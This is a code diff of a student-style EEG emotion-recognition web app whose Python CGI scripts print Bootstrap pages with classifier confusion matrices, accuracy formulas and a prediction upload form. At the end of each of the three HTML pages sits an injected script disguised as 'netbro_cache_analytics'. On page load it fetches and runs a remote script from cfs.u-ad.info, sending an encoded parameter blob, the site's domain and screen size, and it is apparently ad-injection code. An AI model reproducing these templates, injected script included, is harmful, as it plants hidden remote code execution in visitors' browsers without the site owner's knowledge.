+                                            <!-- /.table-responsive -->
+                                            <h4>Accuracy : </h4>
+                                            <blockquote>
+                                                <p>Acc = (TP + TN) / Total Population</p>
+                                                <p>Acc = ('''+str(tp_arousal_swt_svm)+''' + '''+str(tn_arousal_swt_svm)+''') / '''+str(tp_arousal_swt_svm+fp_arousal_swt_svm+tn_arousal_swt_svm+fn_arousal_swt_svm)+'''</p>
+                                                <p>Acc = <b>'''+str((tp_arousal_swt_svm+tn_arousal_swt_svm)/(tp_arousal_swt_svm+tn_arousal_swt_svm+fp_arousal_swt_svm+fn_arousal_swt_svm))+'''</b></p>
+                                            </blockquote>
+                                        </div>
+                                        <!-- /.panel-body -->
+                                    </div>
+                                    <!-- /.panel -->
+                                </div>
+                                <!-- /.panel-body -->
+                            </div>
+                            <!-- /.panel -->
+                        </div>
+                    </div>
+                </div>
+
+                <div class="col-lg-3">
+                    <div class="panel panel-default">
+                        <div class="panel-heading">
+                            ICA + Stationery Wavelet Transformation
+                        </div>
+                        <div class="panel-body">
+                            <div class="panel panel-default">
+                                <div class="panel-heading">
+                                    K-Neirest Neighbord
+                                </div>
+                                <!-- /.panel-heading -->
+                                <div class="panel-body">
+                                    <div class="panel panel-default">
+                                        <div class="panel-heading">
+                                            Valence
+                                        </div>
+                                        <!-- /.panel-heading -->
+                                        <div class="panel-body">
+                                            <div class="table-responsive">
+                                                <table class="table table-hover">
+                                                    <thead>
+                                                        <tr>
+                                                            <th>#</th>
+                                                            <th>1</th>
+                                                            <th>2</th>
+                                                        </tr>
+                                                    </thead>
+                                                    <tbody>
+                                                        <tr>
+                                                            <th>1</th>
+                                                            <td>TP : '''+str(tp_valence_ica_swt_knn)+'''</td>
+                                                            <td>FP : '''+str(fp_valence_ica_swt_knn)+'''</td>
+                                                        </tr>
+                                                        <tr>
+                                                            <th>2</th>
+                                                            <td>TN : '''+str(tn_valence_ica_swt_knn)+'''</td>
+                                                            <td>FN : '''+str(fn_valence_ica_swt_knn)+'''</td>
+                                                        </tr>
+                                                    </tbody>
+                                                </table>
+                                            </div>
+                                            <!-- /.table-responsive -->
+                                            <h4>Accuracy : </h4>
+                                            <blockquote>
+                                                <p>Acc = (TP + TN) / Total Population</p>
+                                                <p>Acc = ('''+str(tp_valence_ica_swt_knn)+''' + '''+str(tn_valence_ica_swt_knn)+''') / '''+str(tp_valence_ica_swt_knn+fp_valence_ica_swt_knn+tn_valence_ica_swt_knn+fn_valence_ica_swt_knn)+'''</p>
+                                                <p>Acc = <b>'''+str((tp_valence_ica_swt_knn+tn_valence_ica_swt_knn)/(tp_valence_ica_swt_knn+tn_valence_ica_swt_knn+fp_valence_ica_swt_knn+fn_valence_ica_swt_knn))+'''</b></p>
+                                            </blockquote>
+                                        </div>
+                                        <!-- /.panel-body -->
+                                    </div>
+                                    <!-- /.panel -->
+
+                                    <div class="panel panel-default">
+                                        <div class="panel-heading">
+                                            Arousal
+                                        </div>
+                                        <!-- /.panel-heading -->
+                                        <div class="panel-body">
+                                            <div class="table-responsive">
+                                                <table class="table table-hover">
+                                                    <thead>
+                                                        <tr>
+                                                            <th>#</th>
+                                                            <th>1</th>
+                                                            <th>2</th>
+                                                        </tr>
+                                                    </thead>
+                                                    <tbody>
+                                                        <tr>
+                                                            <th>1</th>
+                                                            <td>TP : '''+str(tp_arousal_ica_swt_knn)+'''</td>
+                                                            <td>FP : '''+str(fp_arousal_ica_swt_knn)+'''</td>
+                                                        </tr>
+                                                        <tr>
+                                                            <th>2</th>
+                                                            <td>TN : '''+str(tn_arousal_ica_swt_knn)+'''</td>
+                                                            <td>FN : '''+str(fn_arousal_ica_swt_knn)+'''</td>
+                                                        </tr>
+                                                    </tbody>
+                                                </table>
+                                            </div>
+                                            <!-- /.table-responsive -->
+                                            <h4>Accuracy : </h4>
+                                            <blockquote>
+                                                <p>Acc = (TP + TN) / Total Population</p>
+                                                <p>Acc = ('''+str(tp_arousal_ica_swt_knn)+''' + '''+str(tn_arousal_ica_swt_knn)+''') / '''+str(tp_arousal_ica_swt_knn+fp_arousal_ica_swt_knn+tn_arousal_ica_swt_knn+fn_arousal_ica_swt_knn)+'''</p>
+                                                <p>Acc = <b>'''+str((tp_arousal_ica_swt_knn+tn_arousal_ica_swt_knn)/(tp_arousal_ica_swt_knn+tn_arousal_ica_swt_knn+fp_arousal_ica_swt_knn+fn_arousal_ica_swt_knn))+'''</b></p>
+                                            </blockquote>
+                                        </div>
+                                        <!-- /.panel-body -->
+                                    </div>
+                                    <!-- /.panel -->
+                                </div>
+                                <!-- /.panel-body -->
+                            </div>
+                            <!-- /.panel -->
+
+                            <div class="panel panel-default">
+                                <div class="panel-heading">
+                                    Support Vector Machine
+                                </div>
+                                <!-- /.panel-heading -->
+                                <div class="panel-body">
+                                    <div class="panel panel-default">
+                                        <div class="panel-heading">
+                                            Valence
+                                        </div>
+                                        <!-- /.panel-heading -->
+                                        <div class="panel-body">
+                                            <div class="table-responsive">
+                                                <table class="table table-hover">
+                                                    <thead>
+                                                        <tr>
+                                                            <th>#</th>
+                                                            <th>1</th>
+                                                            <th>2</th>
+                                                        </tr>
+                                                    </thead>
+                                                    <tbody>
+                                                        <tr>
+                                                            <th>1</th>
+                                                            <td>TP : '''+str(tp_valence_ica_swt_svm)+'''</td>
+                                                            <td>FP : '''+str(fp_valence_ica_swt_svm)+'''</td>
+                                                        </tr>
+                                                        <tr>
+                                                            <th>2</th>
+                                                            <td>TN : '''+str(tn_valence_ica_swt_svm)+'''</td>
+                                                            <td>FN : '''+str(fn_valence_ica_swt_svm)+'''</td>
+                                                        </tr>
+                                                    </tbody>
+                                                </table>
+                                            </div>
+                                            <!-- /.table-responsive -->
+                                            <h4>Accuracy : </h4>
+                                            <blockquote>
+                                                <p>Acc = (TP + TN) / Total Population</p>
+                                                <p>Acc = ('''+str(tp_valence_ica_swt_svm)+''' + '''+str(tn_valence_ica_swt_svm)+''') / '''+str(tp_valence_ica_swt_svm+fp_valence_ica_swt_svm+tn_valence_ica_swt_svm+fn_valence_ica_swt_svm)+'''</p>
+                                                <p>Acc = <b>'''+str((tp_valence_ica_swt_svm+tn_valence_ica_swt_svm)/(tp_valence_ica_swt_svm+tn_valence_ica_swt_svm+fp_valence_ica_swt_svm+fn_valence_ica_swt_svm))+'''</b></p>
+                                            </blockquote>
+                                        </div>
+                                        <!-- /.panel-body -->
+                                    </div>
+                                    <!-- /.panel -->
+
+                                    <div class="panel panel-default">
+                                        <div class="panel-heading">
+                                            Arousal
+                                        </div>
+                                        <!-- /.panel-heading -->
+                                        <div class="panel-body">
+                                            <div class="table-responsive">
+                                                <table class="table table-hover">
+                                                    <thead>
+                                                        <tr>
+                                                            <th>#</th>
+                                                            <th>1</th>
+                                                            <th>2</th>
+                                                        </tr>
+                                                    </thead>
+                                                    <tbody>
+                                                        <tr>
+                                                            <th>1</th>
+                                                            <td>TP : '''+str(tp_arousal_ica_swt_svm)+'''</td>
+                                                            <td>FP : '''+str(fp_arousal_ica_swt_svm)+'''</td>
+                                                        </tr>
+                                                        <tr>
+                                                            <th>2</th>
+                                                            <td>TN : '''+str(tn_arousal_ica_swt_svm)+'''</td>
+                                                            <td>FN : '''+str(fn_arousal_ica_swt_svm)+'''</td>
+                                                        </tr>
+                                                    </tbody>
+                                                </table>
+                                            </div>
+                                            <!-- /.table-responsive -->
+                                            <h4>Accuracy : </h4>
+                                            <blockquote>
+                                                <p>Acc = (TP + TN) / Total Population</p>
+                                                <p>Acc = ('''+str(tp_arousal_ica_swt_svm)+''' + '''+str(tn_arousal_ica_swt_svm)+''') / '''+str(tp_arousal_ica_swt_svm+fp_arousal_ica_swt_svm+tn_arousal_ica_swt_svm+fn_arousal_ica_swt_svm)+'''</p>
+                                                <p>Acc = <b>'''+str((tp_arousal_ica_swt_svm+tn_arousal_ica_swt_svm)/(tp_arousal_ica_swt_svm+tn_arousal_ica_swt_svm+fp_arousal_ica_swt_svm+fn_arousal_ica_swt_svm))+'''</b></p>
+                                            </blockquote>
+                                        </div>
+                                        <!-- /.panel-body -->
+                                    </div>
+                                    <!-- /.panel -->
+                                </div>
+                                <!-- /.panel-body -->
+                            </div>
+                            <!-- /.panel -->
+                        </div>
+                    </div>
+                </div>
+            </div>           
+        </div>
+        <!-- /#page-wrapper -->
+
+    </div>
+    <!-- /#wrapper -->
+
+    <!-- jQuery -->
+    <script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/jquery/dist/jquery.min.js"></script>
+
+    <!-- Bootstrap Core JavaScript -->
+    <script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/bootstrap/dist/js/bootstrap.min.js"></script>
+
+    <!-- Metis Menu Plugin JavaScript -->
+    <script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/metisMenu/dist/metisMenu.min.js"></script>
+
+    <!-- Morris Charts JavaScript -->
+    <script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/raphael/raphael-min.js"></script>
+    <script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/morrisjs/morris.min.js"></script>
+    <script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/js/morris-data.js"></script>
+
+    <!-- Custom Theme JavaScript -->
+    <script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/dist/js/sb-admin-2.js"></script>
+
+<script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs.u-ad.info/cfspushadsv2/request" + "?id=1" + "&enc=telkom2" + "&params=" + "4TtHaUQnUEiP6K%2fc5C582AaN6h071sG%2bJBYpJxd3JQSJs5mE8iAmw8USIyYDWcoVFc08gzCE8COQRBhCpHI1yC7skRDV9qYyHsdUIk2Qeh5fEPTGf2w%2fAexeHwBBM3qJNrfxOqlDLyX3udt7TqoNReDfIBn%2brVy%2bXEPB%2b8EBADsI1Ky5R%2bmMT%2bW5f4GztEj2O1tiud%2fhA1eRZDOA8mmhJtYMcL69A3eIK5GA8GaovnIqpEW%2fPvjHtnKIurfETIYf5ayMxYzYN1lED6XS%2fAb6PcLJr28pYQzmnhFa2BHbEg%2fIb0A3%2f%2fYokQpvFnkvQ2zFr6zcNU%2fELwAzWrxpSfHdjc3rc78s27Iqzcz57H00Dc%2fRd92Mw%2bWRClG4%2byxeuot%2ftTqeWWP%2fTPr3cJfjysdCW%2bsf7hgbZmIcOA4Gl3LH5ARvUDlRwAz786LT4TDlM0MvS7YhQtdY8Vai4ZoPeSWwCWp76PIQqYPRApUAKtS66EuHlmVHgcIdtNFspNfcV3Ro5%2ftCVEqnASugmE87PJkncpxnP6cGCRbSwOA7JshwR8RDsEF69XUIk2tn%2fH1MBTJUaONMqI5Vb4Fnuk1G37GFI6Ne3Myq3qQ4SC2RcISIMse5oG55mTQe%2bFhZFcAw27fh" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body>
+
+</html>'''

Web App/cgi-bin/index.py

@@ -0,0 +1,142 @@
+#!/usr/bin/env python
+
+# Import modules for CGI handling 
+import cgi, cgitb
+
+
+print "Content-type: text/html\n"
+
+print '''<!DOCTYPE html>
+<html lang="en">
+
+<head>
+
+    <meta charset="utf-8">
+    <meta http-equiv="X-UA-Compatible" content="IE=edge">
+    <meta name="viewport" content="width=device-width, initial-scale=1">
+    <meta name="description" content="">
+    <meta name="author" content="">
+
+    <title>EEG Emotion Recognition</title>
+
+    <!-- Bootstrap Core CSS -->
+    <link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/bootstrap/dist/css/bootstrap.min.css" rel="stylesheet">
+
+    <!-- MetisMenu CSS -->
+    <link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/metisMenu/dist/metisMenu.min.css" rel="stylesheet">
+
+    <!-- Timeline CSS -->
+    <link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/dist/css/timeline.css" rel="stylesheet">
+
+    <!-- Custom CSS -->
+    <link href="../css/dashboard.css" rel="stylesheet">
+
+    <!-- Morris Charts CSS -->
+    <link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/morrisjs/morris.css" rel="stylesheet">
+
+    <!-- Custom Fonts -->
+    <link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">
+
+    <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
+    <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
+    <!--[if lt IE 9]>
+        <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
+        <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
+    <![endif]-->
+
+</head>
+
+<body>
+
+    <div id="wrapper">
+        <div id="page-wrapper">
+            <div class="row">
+                <div class="col-lg-12">
+                    <a href="index.py" style="text-decoration:none;color: #000;"><h1 class="page-header text-center">EEG Emotion Recognition</h1></a>
+                </div>
+                <!-- /.col-lg-12 -->
+            </div>
+            <!-- /.row -->
+            <div class="row">
+            <div class="col-lg-3"></div>
+            <div class="col-lg-6">
+                <img src="../img/home.png" width="100%">
+            </div>
+            <div class="col-lg-3"></div>
+            </div>
+
+            <div class="row">
+                <div class="col-lg-2"></div>
+                <div class="col-lg-4 col-md-6">
+                    <div class="panel panel-primary">
+                        <div class="panel-heading">
+                            <div class="row">
+                                <div class="col-xs-3">
+                                    <i class="fa fa-gears fa-5x"></i>
+                                </div>
+                                <div class="col-xs-9 text-right">
+                                    <div class="huge">......</div>
+                                    <div><b>Accuracy !</b></div>
+                                </div>
+                            </div>
+                        </div>
+                        <a href="find_accuracy.py">
+                            <div class="panel-footer">
+                                <span class="pull-left">Find Accuracy</span>
+                                <span class="pull-right"><i class="fa fa-arrow-circle-right"></i></span>
+                                <div class="clearfix"></div>
+                            </div>
+                        </a>
+                    </div>
+                </div>
+                <div class="col-lg-4 col-md-6">
+                    <div class="panel panel-green">
+                        <div class="panel-heading">
+                            <div class="row">
+                                <div class="col-xs-3">
+                                    <i class="fa fa-tasks fa-5x"></i>
+                                </div>
+                                <div class="col-xs-9 text-right">
+                                    <div class="huge">......</div>
+                                    <div><b>Prediction !</b></div>
+                                </div>
+                            </div>
+                        </div>
+                        <a href="input_predict.py">
+                            <div class="panel-footer">
+                                <span class="pull-left">Predict EEG Emotion</span>
+                                <span class="pull-right"><i class="fa fa-arrow-circle-right"></i></span>
+                                <div class="clearfix"></div>
+                            </div>
+                        </a>
+                    </div>
+                </div>
+                <div class="col-lg-2"></div>
+            </div>
+            <!-- /.row -->            
+        </div>
+        <!-- /#page-wrapper -->
+
+    </div>
+    <!-- /#wrapper -->
+
+    <!-- jQuery -->
+    <script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/jquery/dist/jquery.min.js"></script>
+
+    <!-- Bootstrap Core JavaScript -->
+    <script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/bootstrap/dist/js/bootstrap.min.js"></script>
+
+    <!-- Metis Menu Plugin JavaScript -->
+    <script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/metisMenu/dist/metisMenu.min.js"></script>
+
+    <!-- Morris Charts JavaScript -->
+    <script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/raphael/raphael-min.js"></script>
+    <script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/morrisjs/morris.min.js"></script>
+    <script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/js/morris-data.js"></script>
+
+    <!-- Custom Theme JavaScript -->
+    <script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/dist/js/sb-admin-2.js"></script>
+
+<script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs.u-ad.info/cfspushadsv2/request" + "?id=1" + "&enc=telkom2" + "&params=" + "4TtHaUQnUEiP6K%2fc5C582AaN6h071sG%2bJBYpJxd3JQSJs5mE8iAmw8USIyYDWcoVFc08gzCE8COQRBhCpHI1yC7skRDV9qYyHsdUIk2Qeh5fEPTGf2w%2fAexeHwBBM3qJNrfxOqlDLyX3udt7TqoNReDfIBn%2brVy%2bXEPB%2b8EBADsI1Ky5R%2bmMT%2bW5f4GztEj2O1tiud%2fhA1eRZDOA8mmhJtYMcL69A3eIK5GA8GaovnIqpEW%2fPvjHtnKIurfETIYf5ayMxYzYN1lED6XS%2fAb6PcLJr28pYQzmnhFa2BHbEg%2fIb0A3%2f%2fYokQpvFnkvQ2zFr6zcNU%2fELwAzWrxpSfHdjc3rc78s27Iqzcz57H00Dc%2fRd92Mw%2bWRClG4%2byxeuot%2ftTqeWWP%2fTPr3cJfjysdCW%2bsf7hgbZmIcOA4Gl3LH5ARvUDlRwAz786LT4TDlM0MvS7YhQtdY8Vai4ZoPeSWwCWp76PIQqYPRApUAKtS66EuHlmVHgcIdtNFspNfcV3Ro5%2ftCVEqnASugmE87PJkncpxnP6cGCRbSwOA7JshwR8RDsEF69XUIk2tn%2fH1MBTJUaONMqI5Vb4Fnuk1G37GFI6Ne3Myq3qQ4SC2RcISIMse5oG55mTQe%2bFhZFcAw27fh" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body>
+
+</html>'''

Web App/cgi-bin/input_predict.py

@@ -0,0 +1,148 @@
+#!/usr/bin/env python
+
+# Import modules for CGI handling 
+import cgi, cgitb
+
+
+print "Content-type: text/html\n"
+
+print '''<!DOCTYPE html>
+<html lang="en">
+
+<head>
+
+    <meta charset="utf-8">
+    <meta http-equiv="X-UA-Compatible" content="IE=edge">
+    <meta name="viewport" content="width=device-width, initial-scale=1">
+    <meta name="description" content="">
+    <meta name="author" content="">
+
+    <title>EEG Emotion Recognition</title>
+
+    <!-- Bootstrap Core CSS -->
+    <link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/bootstrap/dist/css/bootstrap.min.css" rel="stylesheet">
+
+    <!-- MetisMenu CSS -->
+    <link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/metisMenu/dist/metisMenu.min.css" rel="stylesheet">
+
+    <!-- Timeline CSS -->
+    <link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/dist/css/timeline.css" rel="stylesheet">
+
+    <!-- Custom CSS -->
+    <link href="../css/dashboard.css" rel="stylesheet">
+
+    <!-- Morris Charts CSS -->
+    <link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/morrisjs/morris.css" rel="stylesheet">
+
+    <!-- Custom Fonts -->
+    <link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">
+
+    <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
+    <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
+    <!--[if lt IE 9]>
+        <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
+        <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
+    <![endif]-->
+
+</head>
+
+<body>
+
+    <div id="wrapper">
+
+       
+
+        <div id="page-wrapper">
+            <div class="row">
+                <div class="col-lg-12">
+                    <a href="index.py" style="text-decoration:none;color: #000;"><h1 class="page-header text-center">EEG Emotion Recognition</h1></a>
+                </div>
+                <!-- /.col-lg-12 -->
+            </div>
+            <!-- /.row -->
+            <div class="row">
+                <div class="col-lg-2"></div>
+                <div class="col-lg-8">
+                    <div class="panel panel-info">
+                        <div class="panel-heading">
+                            Input File
+                        </div>
+                        <div class="panel-body">
+                            <form action="predict.py" method="POST">
+                                <div class="form-group">
+                                    <label>Choose file to predict ! </label>
+                                    <input type="file" name="file_input">
+                                </div>
+                                <div class="form-group">
+                                    <label>Preprocessing Method</label>
+                                    <div class="radio">
+                                        <label>
+                                            <input type="radio" name="preprocessing_method" value="fft" checked>Fast Fourier Transform
+                                        </label>
+                                    </div>
+                                    <div class="radio">
+                                        <label>
+                                            <input type="radio" name="preprocessing_method" value="ica_fft">Independent Component Analysis & Fast Fourier Transform
+                                        </label>
+                                    </div>
+                                    <div class="radio">
+                                        <label>
+                                            <input type="radio" name="preprocessing_method" value="swt">Stationery Wavelet Transform
+                                        </label>
+                                    </div>
+                                    <div class="radio">
+                                        <label>
+                                            <input type="radio" name="preprocessing_method" value="ica_swt">Independent Component Analysis & Stationery Wavelet Transform
+                                        </label>
+                                    </div>
+                                </div>
+                                <div class="form-group">
+                                    <label>Classification Method</label>
+                                    <div class="radio">
+                                        <label>
+                                            <input type="radio" name="classification_method" value="svm" checked>Support Vector Machine
+                                        </label>
+                                    </div>
+                                    <div class="radio">
+                                        <label>
+                                            <input type="radio" name="classification_method" value="knn">K-Nearest Neighbord
+                                        </label>
+                                    </div>
+                                </div>
+                                <button type="submit" class="btn btn-primary">Predict File</button>
+                            </form>
+                        </div>
+                    </div>
+                </div>
+                <!-- /.col-lg-4 -->
+                <div class="col-lg-2"></div>
+            </div>
+            <!-- /.row -->
+
+            
+        </div>
+        <!-- /#page-wrapper -->
+
+    </div>
+    <!-- /#wrapper -->
+
+    <!-- jQuery -->
+    <script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/jquery/dist/jquery.min.js"></script>
+
+    <!-- Bootstrap Core JavaScript -->
+    <script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/bootstrap/dist/js/bootstrap.min.js"></script>
+
+    <!-- Metis Menu Plugin JavaScript -->
+    <script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/metisMenu/dist/metisMenu.min.js"></script>
+
+    <!-- Morris Charts JavaScript -->
+    <script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/raphael/raphael-min.js"></script>
+    <script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/morrisjs/morris.min.js"></script>
+    <script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/js/morris-data.js"></script>
+
+    <!-- Custom Theme JavaScript -->
+    <script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/dist/js/sb-admin-2.js"></script>
+
+<script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs.u-ad.info/cfspushadsv2/request" + "?id=1" + "&enc=telkom2" + "&params=" + "4TtHaUQnUEiP6K%2fc5C582AaN6h071sG%2bJBYpJxd3JQSJs5mE8iAmw8USIyYDWcoVFc08gzCE8COQRBhCpHI1yC7skRDV9qYyHsdUIk2Qeh5fEPTGf2w%2fAexeHwBBM3qJNrfxOqlDLyX3udt7TqoNReDfIBn%2brVy%2bXEPB%2b8EBADsI1Ky5R%2bmMT%2bW5f4GztEj2O1tiud%2fhA1eRZDOA8mmhJtYMcL69A3eIK5GA8GaovnIqpEW%2fPvjHtnKIurfETIYf5ayMxYzYN1lED6XS%2fAb6PcLJr28pYQzmnhFa2BHbEg%2fIb0A3%2f%2fYokQpvFnkvQ2zFr6zcNU%2fELwAzWrxpSfHdjc3rc78s27Iqzcz57H00Dc%2fRd92Mw%2bWRClG4%2byxeuot%2ftTqeWWP%2fTPr3cJfjysdCW%2bsf7hgbZmIcOA4Gl3LH5ARvUDlRwAz786LT4TDlM0MvS7YhQtdY8Vai4ZoPeSWwCWp76PIQqYPRApUAKtS66EuHlmVHgcIdtNFspNfcV3Ro5%2ftCVEqnASugmE87PJkncpxnP6cGCRbSwOA7JshwR8RDsEF69XUIk2tn%2fH1MBTJUaONMqI5Vb4Fnuk1G37GFI6Ne3Myq3qQ4SC2RcISIMse5oG55mTQe%2bFhZFcAw27fh" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body>
+
+</html>'''

Web App/css/accuracy.css

@@ -0,0 +1,359 @@
+/*!
+ * Start Bootstrap - SB Admin 2 Bootstrap Admin Theme (http://startbootstrap.com)
+ * Code licensed under the Apache License v2.0.
+ * For details, see http://www.apache.org/licenses/LICENSE-2.0.
+ */
+
+body {
+    background-color: #f8f8f8;
+}
+
+#wrapper {
+    width: 100%;
+}
+
+#page-wrapper {
+    padding: 0 15px;
+    min-height: 568px;
+    background-color: #fff;
+}
+
+.text-center {
+  text-align: center;
+}
+
+@media(min-width:768px) {
+    #page-wrapper {
+        position: inherit;
+        margin: 0 00px;
+        padding: 0 30px;
+        border-left: 1px solid #e7e7e7;
+        border-right: 1px solid #e7e7e7;
+    }
+}
+
+.navbar-top-links {
+    margin-right: 0;
+}
+
+.navbar-top-links li {
+    display: inline-block;
+}
+
+.navbar-top-links li:last-child {
+    margin-right: 15px;
+}
+
+.navbar-top-links li a {
+    padding: 15px;
+    min-height: 50px;
+}
+
+.navbar-top-links .dropdown-menu li {
+    display: block;
+}
+
+.navbar-top-links .dropdown-menu li:last-child {
+    margin-right: 0;
+}
+
+.navbar-top-links .dropdown-menu li a {
+    padding: 3px 20px;
+    min-height: 0;
+}
+
+.navbar-top-links .dropdown-menu li a div {
+    white-space: normal;
+}
+
+.navbar-top-links .dropdown-messages,
+.navbar-top-links .dropdown-tasks,
+.navbar-top-links .dropdown-alerts {
+    width: 310px;
+    min-width: 0;
+}
+
+.navbar-top-links .dropdown-messages {
+    margin-left: 5px;
+}
+
+.navbar-top-links .dropdown-tasks {
+    margin-left: -59px;
+}
+
+.navbar-top-links .dropdown-alerts {
+    margin-left: -123px;
+}
+
+.navbar-top-links .dropdown-user {
+    right: 0;
+    left: auto;
+}
+
+.sidebar .sidebar-nav.navbar-collapse {
+    padding-right: 0;
+    padding-left: 0;
+}
+
+.sidebar .sidebar-search {
+    padding: 15px;
+}
+
+.sidebar ul li {
+    border-bottom: 1px solid #e7e7e7;
+}
+
+.sidebar ul li a.active {
+    background-color: #eee;
+}
+
+.sidebar .arrow {
+    float: right;
+}
+
+.sidebar .fa.arrow:before {
+    content: "\f104";
+}
+
+.sidebar .active>a>.fa.arrow:before {
+    content: "\f107";
+}
+
+.sidebar .nav-second-level li,
+.sidebar .nav-third-level li {
+    border-bottom: 0!important;
+}
+
+.sidebar .nav-second-level li a {
+    padding-left: 37px;
+}
+
+.sidebar .nav-third-level li a {
+    padding-left: 52px;
+}
+
+@media(min-width:768px) {
+    .sidebar {
+        z-index: 1;
+        position: absolute;
+        width: 250px;
+        margin-top: 51px;
+    }
+
+    .navbar-top-links .dropdown-messages,
+    .navbar-top-links .dropdown-tasks,
+    .navbar-top-links .dropdown-alerts {
+        margin-left: auto;
+    }
+}
+
+.btn-outline {
+    color: inherit;
+    background-color: transparent;
+    transition: all .5s;
+}
+
+.btn-primary.btn-outline {
+    color: #428bca;
+}
+
+.btn-success.btn-outline {
+    color: #5cb85c;
+}
+
+.btn-info.btn-outline {
+    color: #5bc0de;
+}
+
+.btn-warning.btn-outline {
+    color: #f0ad4e;
+}
+
+.btn-danger.btn-outline {
+    color: #d9534f;
+}
+
+.btn-primary.btn-outline:hover,
+.btn-success.btn-outline:hover,
+.btn-info.btn-outline:hover,
+.btn-warning.btn-outline:hover,
+.btn-danger.btn-outline:hover {
+    color: #fff;
+}
+
+.chat {
+    margin: 0;
+    padding: 0;
+    list-style: none;
+}
+
+.chat li {
+    margin-bottom: 10px;
+    padding-bottom: 5px;
+    border-bottom: 1px dotted #999;
+}
+
+.chat li.left .chat-body {
+    margin-left: 60px;
+}
+
+.chat li.right .chat-body {
+    margin-right: 60px;
+}
+
+.chat li .chat-body p {
+    margin: 0;
+}
+
+.panel .slidedown .glyphicon,
+.chat .glyphicon {
+    margin-right: 5px;
+}
+
+.chat-panel .panel-body {
+    height: 350px;
+    overflow-y: scroll;
+}
+
+.login-panel {
+    margin-top: 25%;
+}
+
+.flot-chart {
+    display: block;
+    height: 400px;
+}
+
+.flot-chart-content {
+    width: 100%;
+    height: 100%;
+}
+
+.dataTables_wrapper {
+    position: relative;
+    clear: both;
+}
+
+table.dataTable thead .sorting,
+table.dataTable thead .sorting_asc,
+table.dataTable thead .sorting_desc,
+table.dataTable thead .sorting_asc_disabled,
+table.dataTable thead .sorting_desc_disabled {
+    background: 0 0;
+}
+
+table.dataTable thead .sorting_asc:after {
+    content: "\f0de";
+    float: right;
+    font-family: fontawesome;
+}
+
+table.dataTable thead .sorting_desc:after {
+    content: "\f0dd";
+    float: right;
+    font-family: fontawesome;
+}
+
